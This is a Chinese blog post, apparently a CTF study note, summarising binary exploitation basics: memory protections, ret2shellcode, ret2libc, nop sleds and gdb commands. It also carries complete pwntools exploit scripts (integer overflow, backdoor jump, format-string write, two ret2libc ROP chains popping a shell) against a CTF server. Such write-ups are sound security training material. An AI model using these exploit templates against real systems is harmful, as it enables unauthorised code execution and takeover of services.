当前位置:首页 » 《随便一记》 » 正文

1.pwn基础总结_hacker_zrq的博客

8 人参与  2022年03月15日 09:44  分类 : 《随便一记》  评论

点击全文阅读


基本概念:

●exploit
●用于攻击的脚本与方案(通常缩写为exp)
●payload
●攻击载荷,是的目标进程被劫持控制流的数据
●shellcode
调用攻击目标的shell的代码(打开目标的shell),获取目标控制权。

pwn解题基本流程: 

 ①:checksec查看程序架构,位数(32or64),保护措施,ida反编译查看程序基本逻辑。

         checksec: 检查保护。

常见保护类型:
1.Canary
  Canary, 金丝雀。金丝雀原来是石油工人用来判断气体是否有毒。而应用于在栈保护上则是在初始化一个栈帧时在栈底(stack overflow 发生的高位区域的尾部)设置一个随机的 canary 值,当函数返回之时检测 canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生,若改变则说明栈溢出发生,程序走另一个流程结束,以免漏洞利用成功。 因此我们需要获取 Canary 的值,或者防止触发 stack_chk_fail 函数,或是利用此函数。
2.ALSR和PIE
  Address space layout randomization,地址空间布局随机化。通过将数据随机放置来防止攻击。
3.Relro
  Relocation Read Only, 重定位表只读。重定位表即.got 和 .plt 两个表。RELRO:(关闭 / 部分开启 / 完全开启) 对GOT表具有写权限
4.NX:即Non-Executable Memory,不可执行内存。了解 Linux 的都知道其文件有三种属性,即 rwx,而 NX 即没有 x 属性。如果没有 w 属性,我们就不能向内存单元中写入数据,如果没有 x 属性,写入的 shellcode 就无法执行。所以,我们此时应该使用其他方法来 pwn 掉程序,其中最常见的方法为 ROP (Return-Oriented Programming 返回导向编程),利用栈溢出在栈上布置地址,每个内存地址对应一个 gadget,利用 ret 等指令进行衔接来执行某项功能,最终达到 pwn 掉程序的目的。

例如:

         查找system函数的plt地址:objdump -d -j .plt 文件名 |grep system     

        查找bin_sh字符串的地址:ROPgadget --binary 文件名 --string  “/bin/sh"

②:构造payload,实现交互(有时候需要我们选择libc版本,有时候我们得多选几次才可以),获取控制权。

 ①:ret2shellcode

1.控制返回地址使其指向shellcode所在的区域。该题型的前提是:

            程序存在溢出点,而且还要能控制返回地址。

            程序运行时,shellcode所在的区域关闭了NX(No-Exe)保护

            地址随机化保护关闭。

②:ret2libc

 libc是linux下的C函数库。

   ret2libc这种攻击方式主要是针对 动态链接编译(Dynamic linking)的程序。因为正常情况下是无法在程序中找到像system(),execve()这中系统级函数的(如果程序中有这两个函数,我们直接就可以利用,省的我们还得去构造)。

   因为程序是动态链接的,所以在程序运行时会调用libc.so(程序被装载时,动态链接器会将所有的动态链接加载至进程空间,libc.so只是其中最基本的一个)。libc.so是linux下c语言库中的运行库glibc的动态链接版,其中包含着大量可以利用的函数,我们可以通过IDA反编译找到的这些函数,然后找到这些函数在内存中的地址---基址。 依次基址就能算出我们想要的函数的相对地址。

通常情况下:
1.找到system()函数的地址
2.在内存中找到"/bin/sh"字符串的地址。

这道题下面这篇writeup不错。

(20条消息) [BUUCTF]PWN6——ciscn_2019_c_1_mcmuyanga的博客-CSDN博客

另外:补充返回导向编程中的两个小tips:

一、nop滑梯。

 当开启地址随机化保护的时候,我们不知道return address指向哪里,我们想让他指向shellcode addr。因此我们在shellcode addr的低地址位全部填上nop,return address碰到nop不会有任何操作,而是会去执行他的下一个地址位,就这样一点一点滑倒shellcode,有时候一次可能无法成功,多试几次,一定能让return address执行nop,从而顺利的滑倒shellcode addr

二、函数及其所用参数的在栈中的存储位置。

 由图可知,该栈保存的操作是:

system("/bin/sh") ; 
exit(0)

   可以清楚的看到函数的地址和参数的地址之间是隔着一小块的,这个和栈中的每一片栈帧的结构是有关系的,如下图所示。

③:Int_overflow

# Int_overflow
context(log_level='debug', os='Linux', arch='amd64')
p = remote("pwn.blackbird.wang", 9501)
payload = "2147483648"
p.sendlineafter("Input an int ( <0 )\n", payload)
p.interactive()

ret2text 

 题目文件:

链接:https://pan.baidu.com/s/1SUVwwX1puOCdvuEjQrPPSA 
提取码:qqp6

先checksec一下,发现就是最普通的栈溢出,而且是64位程序:

 拉到IDA里面反编译。发现有个backdoor后门函数,那思路就很明显了,直接跳转到backdoor的地址即可。

  

那backdoor的地址在哪里可以找到呢?

一种方法是在IDA里面,但是这种有时候不太准确。

还有一种是动态调试:

 这样我们就找到backdoor的函数地址就是0x400687

由于是64位程序,所以得查看一下栈中rbp的指向,我们下一步要做的就是把rbp指向的那一行覆盖掉,然后在+8的位置写上backdoor函数的地址。就可以完成程序的劫持。

 编写的EXP如下:

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p=remote("pwn.blackbird.wang",9502)
backdoor_addr=0x400687
#第一步:利用反汇编,查看变量的位置,为 [rbp-0x70]。由于是64位系统,要覆盖掉ebp,就要+8字节。因此 L = 0x70 + 8
#EBP(Base Pointer)是栈帧基址指针寄存器,存放执行函数对应栈帧的栈底地址
payload=b'a'*(0x0A+0x08)+p64(backdoor_addr)
p.sendline(payload)
p.interactive()

baby_fmt

from pwn import*
context(log_level='debug',os='Linux',arch='x86')
p=remote("pwn.blackbird.wang",9503)
unk_addr=0x0804C044
payload=p32(unk_addr)+b'a'*6+b"%10$n"
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd:","10")
p.interactive()

babyrop

from pwn import*
from LibcSearcher import*
elf = ELF('C:\\Users\\DELL\\Desktop\\babyrop')
p=remote("pwn.blackbird.wang",9504)
system = elf.plt["system"]
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

payload1=b'a'*(0x28+0x4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)

p.recvuntil("advise?\n")
p.sendline(payload1)
puts_addr=u32(p.recv()[0:4])
print("puts_addr:"+hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
sys_addr=base+libc.dump('system')
binsh=base+libc.dump('str_bin_sh')

payload2=b'a'*(0x28+0x4) +p32(sys_addr) + b'a'*4 +p32(binsh)

p.sendline(payload2)

p.interactive()

 

 ezrop

# ezROP
from pwn import *
from LibcSearcher import *

r = remote('pwn.blackbird.wang', 9506)
elf = ELF('C:\\Users\\DELL\\Desktop\\COMP\\ezrop')

main = 0x400b28
pop_rdi = 0x400c83
ret = 0x4006b9

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

r.sendlineafter('choice!\n', b'1')
payload = b'\0' + b'a' * (0x50 - 1 + 8)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

r.sendlineafter('encrypted\n', payload)
r.recvline()
r.recvline()

puts_addr = u64(r.recvuntil(b'\n')[:-1].ljust(8, b'\0'))

libc = LibcSearcher('puts', puts_addr)
offset = puts_addr - libc.dump('puts')
binsh = offset + libc.dump('str_bin_sh')
system = offset + libc.dump('system')

r.sendlineafter('choice!\n', b'1')

payload = b'\0' + b'a' * (0x50 - 1 + 8)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

r.sendlineafter('encrypted\n', payload)

r.interactive()
gdb指令:

vmmap  :查看内存映射。例如我们用到的段,以及各自的权限。
b *地址  下断点
d 断点号:删除断点
disass  main:查看程序的执行流程
file 路径  附加文件
p:打印
r     程序开始执行
c 继续执行
step 单步步入
next 单步步过
enable 激活断点
info b 查看断点
del num 删除断点
x/wx $esp   以4字节16进制显示栈中内容
stack 100   插件提供的,显示栈中100项
find xxx   快速查找,很实用
s 按字符串输出
x 按十六进制格式显示变量。
d 按十进制格式显示变量。
u 按十六进制格式显示无符号整型。
o 按八进制格式显示变量。
t 按二进制格式显示变量。
a 按十六进制格式显示变量。
c 按字符格式显示变量。
f 按浮点数格式显示变量。



x/<n/f/u>
n、f、u是可选的参数。
b表示单字节,h表示双字节,w表示四字 节,g表示八字节
但是实际的组合就那么几种:
x/s 地址  查看字符串
x/wx 地址  查看DWORD
x/c 地址  单字节查看
x/16x $esp+12 查看寄存器偏移


set args 可指定运行时参数。(如:set args 10 20 30 40 50)
show args 命令可以查看设置好的运行参数。

 ROPgadget:查找bin_sh字符串的地址:

 objdump:查找system函数的plt地址

利用pwn结合checksec查看文件信息:


点击全文阅读


本文链接:http://zhangshiyu.com/post/36196.html

地址  函数  程序  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1